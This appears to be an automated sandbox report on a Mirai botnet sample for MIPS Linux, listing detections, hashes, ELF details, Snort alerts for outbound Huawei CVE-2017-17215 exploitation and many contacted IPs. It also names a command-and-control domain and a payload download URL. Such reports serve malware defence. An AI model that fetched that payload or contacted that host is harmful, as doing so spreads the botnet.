Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45634 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 40890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45634 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45634 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36206 -> 37215

Source: /tmp/notabotnet.mips (PID: 6226)

Queries kernel information via 'uname':

Source: notabotnet.mips, 6226.1.0000560dea185000.0000560dea20c000.rw-.sdmp, notabotnet.mips, 6228.1.0000560dea185000.0000560dea20c000.rw-.sdmp, notabotnet.mips, 6232.1.0000560dea185000.0000560dea20c000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: notabotnet.mips, 6226.1.00007ffde2755000.00007ffde2776000.rw-.sdmp, notabotnet.mips, 6228.1.00007ffde2755000.00007ffde2776000.rw-.sdmp, notabotnet.mips, 6232.1.00007ffde2755000.00007ffde2776000.rw-.sdmp	Binary or memory string: y_Gx86_64/usr/bin/qemu-mips/tmp/notabotnet.mipsSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/notabotnet.mips
Source: notabotnet.mips, 6226.1.0000560dea185000.0000560dea20c000.rw-.sdmp, notabotnet.mips, 6228.1.0000560dea185000.0000560dea20c000.rw-.sdmp, notabotnet.mips, 6232.1.0000560dea185000.0000560dea20c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: notabotnet.mips, 6226.1.00007ffde2755000.00007ffde2776000.rw-.sdmp, notabotnet.mips, 6228.1.00007ffde2755000.00007ffde2776000.rw-.sdmp, notabotnet.mips, 6232.1.00007ffde2755000.00007ffde2776000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: notabotnet.mips, type: SAMPLE
Source: Yara match	File source: 6226.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6232.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: notabotnet.mips PID: 6226, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notabotnet.mips PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notabotnet.mips PID: 6232, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: notabotnet.mips, type: SAMPLE
Source: Yara match	File source: 6226.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6232.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: notabotnet.mips PID: 6226, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notabotnet.mips PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notabotnet.mips PID: 6232, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	5 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Ingress Tool Transfer	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
notabotnet.mips	63%	Virustotal		Browse
notabotnet.mips	43%	Metadefender		Browse
notabotnet.mips	73%	ReversingLabs	Linux.Trojan.Mirai
notabotnet.mips	100%	Avira	LINUX/Mirai.frpfm

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
cnc.fearfulcats.tk	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7	9%	Virustotal		Browse
http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cnc.fearfulcats.tk	185.225.73.158	true	true	10%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7	notabotnet.mips	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	notabotnet.mips	false		high
http://schemas.xmlsoap.org/soap/envelope/	notabotnet.mips	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.25.248.123	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	false
212.111.23.63	unknown	Czech Republic	25424	INEXT-CZInterneXt2000sroCZ	false
41.203.39.8	unknown	South Africa	36968	ECN-AS1ZA	false
2.236.57.130	unknown	Italy	12874	FASTWEBIT	false
88.146.106.157	unknown	Czech Republic	29208	DIALTELECOM-ASDialTelecomasSK	false
81.71.37.219	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
41.149.186.115	unknown	South Africa	5713	SAIX-NETZA	false
2.61.16.214	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
220.139.15.174	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
41.36.218.220	unknown	Egypt	8452	TE-ASTE-ASEG	false
212.144.211.137	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
14.98.60.191	unknown	India	45820	TTSL-MEISISPTataTeleservicesISPASIN	false
156.17.87.102	unknown	Poland	8970	WASKWROCMAN-EDUeducationalpartofWASKnetworkWroclaw	false
148.250.229.42	unknown	Mexico	6503	AxtelSABdeCVMX	false
212.94.221.121	unknown	France	12409	HRNETFR	false
91.57.203.208	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
46.48.175.143	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
41.137.15.186	unknown	Morocco	36884	MAROCCONNECTMA	false
41.82.47.203	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
85.80.175.85	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
2.222.184.195	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
94.13.68.25	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
188.110.100.164	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
201.153.215.139	unknown	Mexico	8151	UninetSAdeCVMX	false
197.249.194.123	unknown	Mozambique	25139	TVCABO-ASEU	false
185.14.58.161	unknown	Spain	202054	S4N-ASES	false
112.213.114.229	unknown	Hong Kong	38197	SUNHK-DATA-AS-APSunNetworkHongKongLimited-HongKong	false
156.18.227.163	unknown	France	1945	FR-LYRESLyonRechercheetEnseignementSuperieurLyRESE	false
213.109.189.126	unknown	Russian Federation	9009	M247GB	false
41.129.114.59	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.3.103.245	unknown	South Africa	29975	VODACOM-ZA	false
95.166.18.178	unknown	Denmark	3292	TDCTDCASDK	false
60.16.195.158	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
85.4.56.39	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
156.99.71.219	unknown	United States	1998	STATE-OF-MNUS	false
61.104.154.65	unknown	Korea Republic of	38114	TERANET-AS-KRShinjinNetworkKR	false
197.12.117.167	unknown	Tunisia	37703	ATLAXTN	false
197.153.12.72	unknown	Morocco	36925	ASMediMA	false
188.187.46.42	unknown	Russian Federation	51570	SPB-ASRU	false
156.112.197.152	unknown	United States	5961	DNIC-ASBLK-05800-06055US	false
48.238.232.58	unknown	United States	2686	ATGS-MMD-ASUS	false
41.230.97.173	unknown	Tunisia	37705	TOPNETTN	false
85.246.119.80	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
24.160.165.225	unknown	United States	10796	TWC-10796-MIDWESTUS	false
41.97.63.154	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.193.80.149	unknown	Egypt	8452	TE-ASTE-ASEG	false
2.236.57.147	unknown	Italy	12874	FASTWEBIT	false
156.127.187.99	unknown	United States	393504	XNSTGCA	false
43.52.121.37	unknown	Japan	4249	LILLY-ASUS	false
197.240.45.187	unknown	unknown	37705	TOPNETTN	false
197.55.181.96	unknown	Egypt	8452	TE-ASTE-ASEG	false
2.92.140.58	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
156.20.255.207	unknown	United States	23005	SWITCH-LTDUS	false
41.70.121.254	unknown	Malawi	37098	globe-asMW	false
95.108.149.22	unknown	Russian Federation	13238	YANDEXRU	false
190.143.181.212	unknown	Guatemala	13682	TelguaGT	false
95.61.241.252	unknown	Spain	12430	VODAFONE_ESES	false
94.50.19.31	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
63.4.59.172	unknown	United States	701	UUNETUS	false
156.70.138.58	unknown	United States	297	AS297US	false
41.60.37.47	unknown	Mauritius	30969	ZOL-ASGB	false
176.47.187.2	unknown	Saudi Arabia	3249	ESTPAKEE	false
61.205.132.172	unknown	Japan	9617	ZAQJupiterTelecommunicationsCoLtdJP	false
182.210.89.225	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
43.125.153.126	unknown	Japan	4249	LILLY-ASUS	false
197.31.187.159	unknown	Tunisia	37492	ORANGE-TN	false
197.17.114.151	unknown	Tunisia	37693	TUNISIANATN	false
185.124.0.132	unknown	United Kingdom	204085	NGSGB	false
197.55.34.215	unknown	Egypt	8452	TE-ASTE-ASEG	false
94.46.221.211	unknown	United Kingdom	42831	UKSERVERS-ASUKDedicatedServersHostingandCo-Location	false
121.41.250.148	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
86.104.222.5	unknown	United Kingdom	209574	QUEST-ITGB	false
197.223.200.117	unknown	Egypt	37069	MOBINILEG	false
43.121.222.103	unknown	Japan	4249	LILLY-ASUS	false
182.5.164.185	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
156.215.116.49	unknown	Egypt	8452	TE-ASTE-ASEG	false
121.127.117.54	unknown	Korea Republic of	9756	CHEONANVITSSEN-AS-KRTbroadChungbuBroadcastingCoKR	false
156.3.38.249	unknown	United States	2920	LACOEUS	false
5.242.233.201	unknown	Sweden	1257	TELE2EU	false
61.188.227.224	unknown	China	139220	CHINANET-SICHUAN-CHUANXI-IDCSichuanChuanxnIDCCN	false
197.73.244.17	unknown	South Africa	16637	MTNNS-ASZA	false
122.23.120.95	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.195.100.233	unknown	Egypt	36992	ETISALAT-MISREG	false
197.82.246.89	unknown	South Africa	10474	OPTINETZA	false
66.37.163.76	unknown	United States	6534	OCEANIC-CABLEUS	false
41.105.231.153	unknown	Algeria	36947	ALGTEL-ASDZ	false
190.197.57.33	unknown	Belize	10269	BelizeTelemediaLimitedBZ	false
95.10.181.2	unknown	Turkey	9121	TTNETTR	false
61.241.225.212	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
156.191.172.60	unknown	Egypt	36992	ETISALAT-MISREG	false
156.43.93.58	unknown	United Kingdom	3549	LVLT-3549US	false
2.197.106.51	unknown	Italy	16232	ASN-TIMServiceProviderIT	false
212.51.251.100	unknown	Austria	12762	VTG-AT	false
101.69.14.107	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
176.177.102.196	unknown	France	5410	BOUYGTEL-ISPFR	false
197.165.241.195	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.55.39.50	unknown	United States	22146	LANDAMUS	false
41.127.73.159	unknown	South Africa	16637	MTNNS-ASZA	false
212.45.152.172	unknown	Italy	8816	IT-STCOMIT	false
41.95.229.226	unknown	Sudan	36998	SDN-MOBITELSD	false

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.444246881535002
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	notabotnet.mips
File size:	105656
MD5:	a2af0d91b6e84e614eda94b4e7b8cac4
SHA1:	10c1dee864fb8fdb1770f87065c72b4acef91368
SHA256:	7601ce34f58f7f8a7a046a0682a406e05ebe72f2cb0a3938cb166d1f3dfd2e6e
SHA512:	81bf61a4961e806524f23e3e80f01cb11c48ee86038280ff0cb038c54f94883f7dd992689e92aaa1e79ed6fe74b746a4441cc1f7e8d18126629c269aa4ac1d84
SSDEEP:	1536:klToz925rlxLwnLf5IdMLldP2QfghplO9NyvhieBaqxDmAD5P/4tbXQN+ZLA:mAyrlxLU+dMT2Q4jluNpeBaqxio5sWX
TLSH:	38A3724D7E215F7EFBAC823897B74F249248339A2AF1D5C4C1ACED015E7028A641FB65
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@.....0...0.................E...E.....$...h........dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'......!...$....'9m

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	105096
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x16cc0	0x0	0x6	AX	16
.fini	PROGBITS	0x416de0	0x16de0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x416e40	0x16e40	0x15f0	0x0	0x2	A	16
.ctors	PROGBITS	0x459000	0x19000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x459008	0x19008	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x459014	0x19014	0x404	0x0	0x3	WA	4
.data	PROGBITS	0x459420	0x19420	0x258	0x0	0x3	WA	16
.got	PROGBITS	0x459680	0x19680	0x3a4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x459a24	0x19a24	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x459a50	0x19a24	0x518	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x69c	0x19a24	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x19a24	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x18430	0x18430	5.5447	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x19000	0x459000	0x459000	0xa24	0xf68	4.3591	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.23156.226.90.21852826372152835222 08/06/22-07:23:16.432753	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52826	37215	192.168.2.23	156.226.90.218
192.168.2.23156.250.119.16041654372152835222 08/06/22-07:23:27.011828	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41654	37215	192.168.2.23	156.250.119.160
192.168.2.23197.214.103.13250728372152835222 08/06/22-07:23:53.676873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50728	37215	192.168.2.23	197.214.103.132
192.168.2.238.8.8.849581532012811 08/06/22-07:23:14.095323	UDP	2012811	ET DNS Query to a .tk domain - Likely Hostile	49581	53	192.168.2.23	8.8.8.8
192.168.2.23156.250.92.16538646372152835222 08/06/22-07:23:40.260566	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38646	37215	192.168.2.23	156.250.92.165
192.168.2.23156.244.80.9459200372152835222 08/06/22-07:23:39.639416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59200	37215	192.168.2.23	156.244.80.94
192.168.2.23156.226.11.1552072372152835222 08/06/22-07:23:43.667446	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52072	37215	192.168.2.23	156.226.11.15
192.168.2.23156.245.51.2550694372152835222 08/06/22-07:23:39.952103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50694	37215	192.168.2.23	156.245.51.25
192.168.2.23156.254.79.8953116372152835222 08/06/22-07:24:04.605598	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53116	37215	192.168.2.23	156.254.79.89
192.168.2.23156.235.102.13237424372152835222 08/06/22-07:23:43.645321	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37424	37215	192.168.2.23	156.235.102.132
192.168.2.23156.250.122.4049938372152835222 08/06/22-07:23:27.033187	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49938	37215	192.168.2.23	156.250.122.40
192.168.2.23156.226.27.13433390372152835222 08/06/22-07:24:04.960889	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33390	37215	192.168.2.23	156.226.27.134
192.168.2.23156.244.72.4047196372152835222 08/06/22-07:23:53.439628	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47196	37215	192.168.2.23	156.244.72.40
192.168.2.23156.244.109.9445444372152835222 08/06/22-07:23:29.654745	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45444	37215	192.168.2.23	156.244.109.94
192.168.2.23156.226.90.24160120372152835222 08/06/22-07:23:53.442635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60120	37215	192.168.2.23	156.226.90.241
192.168.2.23156.250.103.8844052372152835222 08/06/22-07:24:04.660457	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44052	37215	192.168.2.23	156.250.103.88
192.168.2.23156.224.11.1233306372152835222 08/06/22-07:24:04.797279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33306	37215	192.168.2.23	156.224.11.12
192.168.2.23156.241.133.16536340372152835222 08/06/22-07:23:39.554681	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36340	37215	192.168.2.23	156.241.133.165
192.168.2.23156.250.113.19853300372152835222 08/06/22-07:23:27.034689	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53300	37215	192.168.2.23	156.250.113.198
192.168.2.23156.254.48.5241742372152835222 08/06/22-07:23:29.567245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41742	37215	192.168.2.23	156.254.48.52
192.168.2.23156.250.74.2750752372152835222 08/06/22-07:23:16.433919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50752	37215	192.168.2.23	156.250.74.27
192.168.2.23156.226.82.5851288372152835222 08/06/22-07:23:53.744332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51288	37215	192.168.2.23	156.226.82.58
192.168.2.23156.224.29.15750298372152835222 08/06/22-07:24:10.214896	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50298	37215	192.168.2.23	156.224.29.157
192.168.2.23156.226.84.10759142372152835222 08/06/22-07:23:53.439665	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59142	37215	192.168.2.23	156.226.84.107
192.168.2.23156.241.91.21454440372152835222 08/06/22-07:23:33.249369	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54440	37215	192.168.2.23	156.241.91.214
192.168.2.23156.244.110.22454676372152835222 08/06/22-07:23:59.102835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54676	37215	192.168.2.23	156.244.110.224
192.168.2.23156.241.125.3655416372152835222 08/06/22-07:23:53.476267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55416	37215	192.168.2.23	156.241.125.36
192.168.2.23156.245.55.20053560372152835222 08/06/22-07:24:04.679076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53560	37215	192.168.2.23	156.245.55.200
192.168.2.23156.226.98.22635010372152835222 08/06/22-07:23:33.273831	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35010	37215	192.168.2.23	156.226.98.226
192.168.2.23156.250.79.649098372152835222 08/06/22-07:23:27.034355	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49098	37215	192.168.2.23	156.250.79.6
192.168.2.23156.250.18.22450598372152835222 08/06/22-07:23:53.729151	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50598	37215	192.168.2.23	156.250.18.224
192.168.2.23156.230.20.3152534372152835222 08/06/22-07:23:27.220458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52534	37215	192.168.2.23	156.230.20.31
192.168.2.23156.238.63.4542572372152835222 08/06/22-07:23:27.305057	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42572	37215	192.168.2.23	156.238.63.45
192.168.2.23197.234.61.23542192372152835222 08/06/22-07:23:31.722171	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42192	37215	192.168.2.23	197.234.61.235
192.168.2.23156.241.66.24244510372152835222 08/06/22-07:23:29.651725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44510	37215	192.168.2.23	156.241.66.242
192.168.2.23156.250.9.15837962372152835222 08/06/22-07:24:04.676872	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37962	37215	192.168.2.23	156.250.9.158
192.168.2.23156.235.97.9458838372152835222 08/06/22-07:23:39.548075	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58838	37215	192.168.2.23	156.235.97.94
192.168.2.23156.235.96.12434606372152835222 08/06/22-07:23:43.645351	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34606	37215	192.168.2.23	156.235.96.124
192.168.2.23156.224.20.13050850372152835222 08/06/22-07:23:53.608016	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50850	37215	192.168.2.23	156.224.20.130
192.168.2.23156.224.13.14060786372152835222 08/06/22-07:24:02.348307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60786	37215	192.168.2.23	156.224.13.140
192.168.2.23156.245.34.6360668372152835222 08/06/22-07:23:39.647282	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60668	37215	192.168.2.23	156.245.34.63
192.168.2.23156.244.119.2252904372152835222 08/06/22-07:23:27.039494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52904	37215	192.168.2.23	156.244.119.22
192.168.2.23156.226.103.2647596372152835222 08/06/22-07:23:27.316869	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47596	37215	192.168.2.23	156.226.103.26
192.168.2.23156.241.90.3842742372152835222 08/06/22-07:23:39.649878	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42742	37215	192.168.2.23	156.241.90.38
192.168.2.23156.226.96.3347718372152835222 08/06/22-07:23:40.227571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47718	37215	192.168.2.23	156.226.96.33
192.168.2.23156.250.65.10041802372152835222 08/06/22-07:23:52.152505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41802	37215	192.168.2.23	156.250.65.100
192.168.2.23156.250.115.6136870372152835222 08/06/22-07:23:33.241907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36870	37215	192.168.2.23	156.250.115.61
